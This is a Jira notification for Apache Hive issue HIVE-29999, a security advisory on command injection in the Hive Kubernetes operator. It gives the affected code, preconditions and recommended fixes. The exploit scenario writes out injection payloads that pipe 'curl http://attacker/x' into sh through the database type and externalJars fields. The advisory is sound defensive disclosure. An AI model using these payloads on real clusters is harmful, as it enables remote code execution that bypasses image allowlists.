[
https://issues.apache.org/jira/browse/HIVE-29999?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Ayush Saxena updated HIVE-29999:
--------------------------------
Security: (was: Non-Public)
> HiveCluster CR string fields injected unescaped into operator-generated bash
> -c commands
> ----------------------------------------------------------------------------------------
>
> Key: HIVE-29999
> URL: https://issues.apache.org/jira/browse/HIVE-29999
> Project: Hive
> Issue Type: Bug
> Reporter: Stamatis Zampetakis
> Assignee: tanishqchugh
> Priority: Major
> Labels: command-injection, hive/20260811T043204Z
> Fix For: 4.3.0
>
>
> *ID:* f120 \\ *Affected code:*
> packaging/src/kubernetes/src/java/org/apache/hive/kubernetes/operator/dependent/SchemaInitJobDependent.java:97
> \\ *Confidence:* 0.85 \\ *Problem:* Three CR-controlled strings reach bash
> -c command lines or JVM option strings without any validation or quoting: (1)
> SchemaInitJobDependent.desired() concatenates db.type() directly into the
> schematool command - cmd.append("$HIVE_HOME/bin/schematool -dbType
> ").append(db.type()) (lines 96-97); the generated CRD schema
> (helm/hive-operator/crds/hiveclusters.hive.apache.org-v1.yml:588-592)
> declares type as a free string with no enum, despite the description listing
> five legal values. (2) HiveDependentResource.buildExternalJarsInitContainer()
> wraps jarUrl in single quotes inside a bash -c string (516-523) - a URL
> containing a single quote breaks out (http://x/a' ; <cmd> ; echo '); the only
> check is startsWith("http://";)/("https://";), which the payload satisfies.
> Reachable from spec.externalJars and spec.metastore.database.driverJarUrl.
> (3) buildDbEnvVars() concatenates db.url()/driver()/username() into
> SERVICE_OPTS (390-396), which the entrypoint expands into HADOOP_CLIENT_OPTS
> JVM args - a value containing whitespace appends attacker-chosen JVM flags
> such as -javaagent. This bypasses image-allowlist admission policies (the
> injected shell runs inside the approved apache/hive image) and runs under
> whatever serviceAccountName the CR names. \\ *Exploit Scenario:* A tenant
> with RBAC `create hiveclusters` (but no pod-create and an image-restricted
> namespace) applies a HiveCluster with spec.metastore.database.type: "derby
> -initOrUpgradeSchema; curl http://attacker/x | sh #". The operator renders
> the schema-init Job; kubelet runs /bin/bash -c "... schematool -dbType derby
> -initOrUpgradeSchema; curl http://attacker/x | sh #..." in the approved Hive
> image under the CR-chosen service account. The same effect is available via
> externalJars: ["http://h/a' ; curl http://attacker/x | sh; echo '"] in every
> component pod's init container. \\ *Preconditions:* \\ * RBAC permission to
> create or update HiveCluster CRs in some namespace \\ * hive-operator
> deployed (cluster-scoped ClusterRole creating Jobs/Deployments) \\
> *Recommendation:* CR fields are data, never shell. In SchemaInitJobDependent
> (line 96) validate db.type() against the closed set
> {derby,mysql,postgres,mssql,oracle} (and add the enum to the CRD schema); in
> HiveDependentResource.buildExternalJarsInitContainer (516-523) reject URLs
> containing quotes/whitespace/shell metacharacters (parse with java.net.URI
> and re-emit the normalized form), and in buildDbEnvVars (388-397) reject
> url/driver/username values containing whitespace or pass them via separate
> env vars consumed without shell/JVM-option re-expansion. \\ *Sources:* \\ *
> supp-common-parser-k8s
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
